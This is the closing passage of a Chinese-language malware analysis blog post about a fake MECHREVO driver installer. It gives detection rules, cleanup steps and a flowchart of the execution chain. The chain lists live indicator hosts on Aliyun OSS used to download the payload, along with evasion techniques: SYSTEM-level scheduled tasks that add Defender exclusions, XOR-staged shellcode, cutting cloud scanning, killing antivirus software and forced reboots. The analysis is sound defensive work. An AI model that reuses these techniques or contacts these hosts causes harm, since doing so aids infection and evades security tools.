计划任务名冒用 MicrosoftEdgeUpdateTaskMachineCore1{...} 但不是 Edge/EdgeUpdate 创建的 → 高危
非安装程序写 Software\Microsoft\Windows\CurrentVersion\Run → 告警(本样本有此能力)
不要用"签名有效"放行 —— 本样本带 EV 签名但校验失败;另注意微步报告的 Tags 字段会误标 valid_signature,一律以 Status ≠ Valid 为准

处置

断网 → 检查并清空 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths 里被塞的路径(否则后续查杀全是盲区)
删除 C:\Users\Public\<6位随机名>\、C:\Program Files (x86)\<6位随机名>\、C:\Windows\Temp\ranchserv.jpg、C:\Users\Public\Music\destopbak.ini
先确认 C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 到底有没有被改(见 12 节 ③,也可能是读取而非写入):比对运行前后的哈希 / LastWriteTime,或拿干净镜像的默认文件对比。确认被替换了再处理,处理前务必备份原文件
清 SOFTWARE\JDBCC 注册表、清 Task1 计划任务、清 Run 键
额外查一遍 MicrosoftEdgeUpdateTaskMachineCore1* 计划任务和 Run 键异常项(本次内存分析新发现的两种持久化)
因为泄露级别是"主机控制权",建议整机重装,不要只做清除

18.完整执行链

flowchart TD A["假驱动站 pc-mechrevo.com.cn install_s.6.06.zip"] --> B["install_s.6.06.exe 25.8MB 签名失效"] B --> C["入口劫持 + 两级反沙箱延时"] C --> D["VirtualAlloc(RWX) + rep movsb"] D --> E["stage-2 解密 滚动 XOR key=0xD7"] E --> F["stage-3 最终payload 重复 XOR 48,645B"] F --> G["释放 M17pup.exe / UxEnhance64.dll msadox.tb / adoresd.dat"] F --> H["释放 ranchserv.jpg 到 C:\\Windows\\Temp 并设隐藏+删除属性"] G --> I["M17pup.exe 再释放 Lloyl6.exe / drops[1].jpg"] G --> J["schtasks /RL HIGHEST /RU SYSTEM 提权写 Defender 排除"] G --> K["写 C:\\Windows\\System32\\CodeIntegrity\\SiPolicy.p7b （写入还是读取存疑）"] I --> L["回归 C2 下载 stage-4"] F --> L L --> M["https://msi8s0.oss-cn-beijing .aliyuncs.com/tad,a.gif~d.gif 下行 8.17MB"] L --> N["https://mm2027.oss-cn-hangzhou .aliyuncs.com/ 下行 4.39MB"] F --> O["SetTcpEntry 断云查杀"] F --> P["杀/干扰 20+ 安全软件"] F --> Q["shutdown /r /f /t 0"]

19.结论与遗留问题

结论

这是三段式加载器 + 云下载型恶意模块,签名是盗用的和"机械革命驱动"没有任何关系,具备本地破坏(杀软对抗、Defender 全盘排除、VBS 落地、注册表写入、强制重启、ETW 致盲)和远程投递(阿里云 OSS)双重能力

分析方式说明:全程未在真实环境运行样本,stage-2/stage-3 的解密是把 shellcode 提取出来用 Unicorn 仿真 + 静态还原算法完成的

posted @ 2026-09-18 22:24 mutel024 阅读(11) 评论(0) 收藏举报

刷新页面返回顶部

mutel024